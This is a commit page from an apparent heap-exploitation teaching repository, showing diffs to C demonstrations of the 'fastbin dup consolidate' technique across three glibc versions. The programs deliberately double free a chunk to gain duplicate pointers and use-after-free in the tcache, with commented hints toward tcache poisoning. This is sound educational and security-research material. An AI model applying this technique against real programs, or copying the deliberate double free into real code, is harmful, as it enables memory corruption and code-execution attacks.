Skip to content

Commit 66da022

Browse files
committed
propagate to other versions, .31 and .27 dont have safe linking
1 parent 5358963 commit 66da022

File tree

9 files changed

+558
-117
lines changed

9 files changed

+558
-117
lines changed

glibc_2.27/fastbin_dup_consolidate.c

Lines changed: 62 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -2,10 +2,37 @@
22
#include <stdlib.h>
33
#include <assert.h>
44

5+
/*
6+
Original reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
7+
8+
This document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a
9+
double free to gain two pointers to the same large-sized chunk, which is usually difficult to do
10+
directly due to the previnuse check. Interestingly this also includes tcache-sized chunks of certain sizes.
11+
12+
malloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially
13+
merges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top
14+
if possible.
15+
16+
As of glibc version 2.35 it is called only in the following five places:
17+
1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)
18+
2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)
19+
3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)
20+
4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)
21+
5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)
22+
23+
We will be targeting the first place, so we will need to allocate a chunk that does not belong in the
24+
small bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901).
25+
This means our chunk will need to be of size >= 0x400 (it is thus large-sized). Interestingly, the
26+
biggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize
27+
a double free to gain control of a tcache sized chunk.
28+
29+
*/
30+
531
int main() {
6-
// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
7-
puts("This is a powerful technique that bypasses the double free check in tcachebin.");
8-
printf("Fill up the tcache list to force the fastbin usage...\n");
32+
printf("This technique will make use of malloc_consolidate and a double free to gain a UAF / duplication in the tcache.\n");
33+
printf("It would also allow us to perform tcache poisoning.\n\n");
34+
35+
printf("Lets fill up the tcache to force fastbin usage...\n\n");
936

1037
void *ptr[7];
1138

@@ -14,30 +41,52 @@ int main() {
1441
for(int i = 0; i < 7; i++)
1542
free(ptr[i]);
1643

44+
// void* ppoison = malloc(0x400);
45+
// ^ We would have to allocate this to be able to do tcache poison later, since we need at least 2 chunks in a bin to do it.
46+
1747
void* p1 = calloc(1,0x40);
48+
// Using calloc here doesn't take from the tcache since calloc calls _int_malloc (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3679)
49+
// and taking from the tcache is handled in __libc_malloc. If we used malloc(0x40) the chunk would get taken from the tcache.
1850

1951
printf("Allocate another chunk of the same size p1=%p \n", p1);
20-
printf("Freeing p1 will add this chunk to the fastbin list...\n\n");
52+
printf("Freeing p1 will add it to the fastbin.\n\n");
2153
free(p1);
2254

2355
void* p3 = malloc(0x400);
24-
printf("Allocating a tcache-sized chunk (p3=%p)\n", p3);
25-
printf("will trigger the malloc_consolidate and merge\n");
26-
printf("the fastbin chunks into the top chunk, thus\n");
27-
printf("p1 and p3 are now pointing to the same chunk !\n\n");
56+
57+
// free(ppoison);
58+
// We can now free this chunk to put it in the tcache bin for the poison.
59+
60+
printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n");
61+
printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n");
62+
printf("a tcache-sized chunk with chunk size 0x410. p3=%p\n", p3);
63+
64+
printf("\nmalloc_consolidate will merge the fast chunk p1 with top.\n");
65+
printf("p3 is allocated from top since there is no bin bigger than it. Thus, p1 = p3.\n");
2866

2967
assert(p1 == p3);
3068

31-
printf("Triggering the double free vulnerability!\n\n");
32-
free(p1);
69+
printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p3).\n\n");
70+
free(p1); // vulnerability
3371

72+
printf("So p1 is double freed, and p3 hasn't been freed although it now points to a free chunk.\n");
73+
printf("We have thus achieved UAF on tcache!\n");
74+
75+
// *(long long*)p3 = target;
76+
// We can use the UAF here to perform tcache poison.
77+
78+
printf("We will request a chunk of size 0x400, this will give us the 0x410 chunk thats currently in\n");
79+
printf("the tcache bin. p3 and p1 will still be pointing to it.\n");
3480
void *p4 = malloc(0x400);
3581

3682
assert(p4 == p3);
3783

38-
printf("The double free added the chunk referenced by p1 \n");
39-
printf("to the tcache thus the next similar-size malloc will\n");
40-
printf("point to p3: p3=%p, p4=%p\n\n",p3, p4);
84+
printf("We now have two pointers (p3 and p4) that haven't been directly freed\n");
85+
printf("and both point to the same tcache sized chunk. p3=%p p4=%p\n", p3, p4);
86+
printf("We have achieved duplication!\n\n");
87+
88+
printf("Note: This duplication would have also worked with a larger chunk size, the chunks would\n");
89+
printf("have behaved the same, just being taken from the top instead of from the tcache bin.");
4190

4291
return 0;
4392
}

glibc_2.31/fastbin_dup_consolidate.c

Lines changed: 62 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -2,10 +2,37 @@
22
#include <stdlib.h>
33
#include <assert.h>
44

5+
/*
6+
Original reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
7+
8+
This document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a
9+
double free to gain two pointers to the same large-sized chunk, which is usually difficult to do
10+
directly due to the previnuse check. Interestingly this also includes tcache-sized chunks of certain sizes.
11+
12+
malloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially
13+
merges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top
14+
if possible.
15+
16+
As of glibc version 2.35 it is called only in the following five places:
17+
1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)
18+
2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)
19+
3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)
20+
4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)
21+
5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)
22+
23+
We will be targeting the first place, so we will need to allocate a chunk that does not belong in the
24+
small bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901).
25+
This means our chunk will need to be of size >= 0x400 (it is thus large-sized). Interestingly, the
26+
biggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize
27+
a double free to gain control of a tcache sized chunk.
28+
29+
*/
30+
531
int main() {
6-
// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
7-
puts("This is a powerful technique that bypasses the double free check in tcachebin.");
8-
printf("Fill up the tcache list to force the fastbin usage...\n");
32+
printf("This technique will make use of malloc_consolidate and a double free to gain a UAF / duplication in the tcache.\n");
33+
printf("It would also allow us to perform tcache poisoning.\n\n");
34+
35+
printf("Lets fill up the tcache to force fastbin usage...\n\n");
936

1037
void *ptr[7];
1138

@@ -14,30 +41,52 @@ int main() {
1441
for(int i = 0; i < 7; i++)
1542
free(ptr[i]);
1643

44+
// void* ppoison = malloc(0x400);
45+
// ^ We would have to allocate this to be able to do tcache poison later, since we need at least 2 chunks in a bin to do it.
46+
1747
void* p1 = calloc(1,0x40);
48+
// Using calloc here doesn't take from the tcache since calloc calls _int_malloc (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3679)
49+
// and taking from the tcache is handled in __libc_malloc. If we used malloc(0x40) the chunk would get taken from the tcache.
1850

1951
printf("Allocate another chunk of the same size p1=%p \n", p1);
20-
printf("Freeing p1 will add this chunk to the fastbin list...\n\n");
52+
printf("Freeing p1 will add it to the fastbin.\n\n");
2153
free(p1);
2254

2355
void* p3 = malloc(0x400);
24-
printf("Allocating a tcache-sized chunk (p3=%p)\n", p3);
25-
printf("will trigger the malloc_consolidate and merge\n");
26-
printf("the fastbin chunks into the top chunk, thus\n");
27-
printf("p1 and p3 are now pointing to the same chunk !\n\n");
56+
57+
// free(ppoison);
58+
// We can now free this chunk to put it in the tcache bin for the poison.
59+
60+
printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n");
61+
printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n");
62+
printf("a tcache-sized chunk with chunk size 0x410. p3=%p\n", p3);
63+
64+
printf("\nmalloc_consolidate will merge the fast chunk p1 with top.\n");
65+
printf("p3 is allocated from top since there is no bin bigger than it. Thus, p1 = p3.\n");
2866

2967
assert(p1 == p3);
3068

31-
printf("Triggering the double free vulnerability!\n\n");
32-
free(p1);
69+
printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p3).\n\n");
70+
free(p1); // vulnerability
3371

72+
printf("So p1 is double freed, and p3 hasn't been freed although it now points to a free chunk.\n");
73+
printf("We have thus achieved UAF on tcache!\n");
74+
75+
// *(long long*)p3 = target;
76+
// We can use the UAF here to perform tcache poison.
77+
78+
printf("We will request a chunk of size 0x400, this will give us the 0x410 chunk thats currently in\n");
79+
printf("the tcache bin. p3 and p1 will still be pointing to it.\n");
3480
void *p4 = malloc(0x400);
3581

3682
assert(p4 == p3);
3783

38-
printf("The double free added the chunk referenced by p1 \n");
39-
printf("to the tcache thus the next similar-size malloc will\n");
40-
printf("point to p3: p3=%p, p4=%p\n\n",p3, p4);
84+
printf("We now have two pointers (p3 and p4) that haven't been directly freed\n");
85+
printf("and both point to the same tcache sized chunk. p3=%p p4=%p\n", p3, p4);
86+
printf("We have achieved duplication!\n\n");
87+
88+
printf("Note: This duplication would have also worked with a larger chunk size, the chunks would\n");
89+
printf("have behaved the same, just being taken from the top instead of from the tcache bin.");
4190

4291
return 0;
4392
}

glibc_2.32/fastbin_dup_consolidate.c

Lines changed: 62 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -2,10 +2,37 @@
22
#include <stdlib.h>
33
#include <assert.h>
44

5+
/*
6+
Original reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
7+
8+
This document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a
9+
double free to gain two pointers to the same large-sized chunk, which is usually difficult to do
10+
directly due to the previnuse check. Interestingly this also includes tcache-sized chunks of certain sizes.
11+
12+
malloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially
13+
merges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top
14+
if possible.
15+
16+
As of glibc version 2.35 it is called only in the following five places:
17+
1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)
18+
2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)
19+
3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)
20+
4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)
21+
5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)
22+
23+
We will be targeting the first place, so we will need to allocate a chunk that does not belong in the
24+
small bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901).
25+
This means our chunk will need to be of size >= 0x400 (it is thus large-sized). Interestingly, the
26+
biggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize
27+
a double free to gain control of a tcache sized chunk.
28+
29+
*/
30+
531
int main() {
6-
// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
7-
puts("This is a powerful technique that bypasses the double free check in tcachebin.");
8-
printf("Fill up the tcache list to force the fastbin usage...\n");
32+
printf("This technique will make use of malloc_consolidate and a double free to gain a UAF / duplication in the tcache.\n");
33+
printf("It would also allow us to perform tcache poisoning if we had a heap leak.\n\n");
34+
35+
printf("Lets fill up the tcache to force fastbin usage...\n\n");
936

1037
void *ptr[7];
1138

@@ -14,30 +41,52 @@ int main() {
1441
for(int i = 0; i < 7; i++)
1542
free(ptr[i]);
1643

44+
// void* ppoison = malloc(0x400);
45+
// ^ We would have to allocate this to be able to do tcache poison later, since we need at least 2 chunks in a bin to do it.
46+
1747
void* p1 = calloc(1,0x40);
48+
// Using calloc here doesn't take from the tcache since calloc calls _int_malloc (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3679)
49+
// and taking from the tcache is handled in __libc_malloc. If we used malloc(0x40) the chunk would get taken from the tcache.
1850

1951
printf("Allocate another chunk of the same size p1=%p \n", p1);
20-
printf("Freeing p1 will add this chunk to the fastbin list...\n\n");
52+
printf("Freeing p1 will add it to the fastbin.\n\n");
2153
free(p1);
2254

2355
void* p3 = malloc(0x400);
24-
printf("Allocating a tcache-sized chunk (p3=%p)\n", p3);
25-
printf("will trigger the malloc_consolidate and merge\n");
26-
printf("the fastbin chunks into the top chunk, thus\n");
27-
printf("p1 and p3 are now pointing to the same chunk !\n\n");
56+
57+
// free(ppoison);
58+
// We can now free this chunk to put it in the tcache bin for the poison.
59+
60+
printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n");
61+
printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n");
62+
printf("a tcache-sized chunk with chunk size 0x410. p3=%p\n", p3);
63+
64+
printf("\nmalloc_consolidate will merge the fast chunk p1 with top.\n");
65+
printf("p3 is allocated from top since there is no bin bigger than it. Thus, p1 = p3.\n");
2866

2967
assert(p1 == p3);
3068

31-
printf("Triggering the double free vulnerability!\n\n");
32-
free(p1);
69+
printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p3).\n\n");
70+
free(p1); // vulnerability
3371

72+
printf("So p1 is double freed, and p3 hasn't been freed although it now points to a free chunk.\n");
73+
printf("We have thus achieved UAF on tcache!\n");
74+
75+
// *(long long*)p3 = target ^ (p3 >> 12);
76+
// We can use the UAF here to perform tcache poison.
77+
78+
printf("We will request a chunk of size 0x400, this will give us the 0x410 chunk thats currently in\n");
79+
printf("the tcache bin. p3 and p1 will still be pointing to it.\n");
3480
void *p4 = malloc(0x400);
3581

3682
assert(p4 == p3);
3783

38-
printf("The double free added the chunk referenced by p1 \n");
39-
printf("to the tcache thus the next similar-size malloc will\n");
40-
printf("point to p3: p3=%p, p4=%p\n\n",p3, p4);
84+
printf("We now have two pointers (p3 and p4) that haven't been directly freed\n");
85+
printf("and both point to the same tcache sized chunk. p3=%p p4=%p\n", p3, p4);
86+
printf("We have achieved duplication!\n\n");
87+
88+
printf("Note: This duplication would have also worked with a larger chunk size, the chunks would\n");
89+
printf("have behaved the same, just being taken from the top instead of from the tcache bin.");
4190

4291
return 0;
4392
}

0 commit comments

Comments
 (0)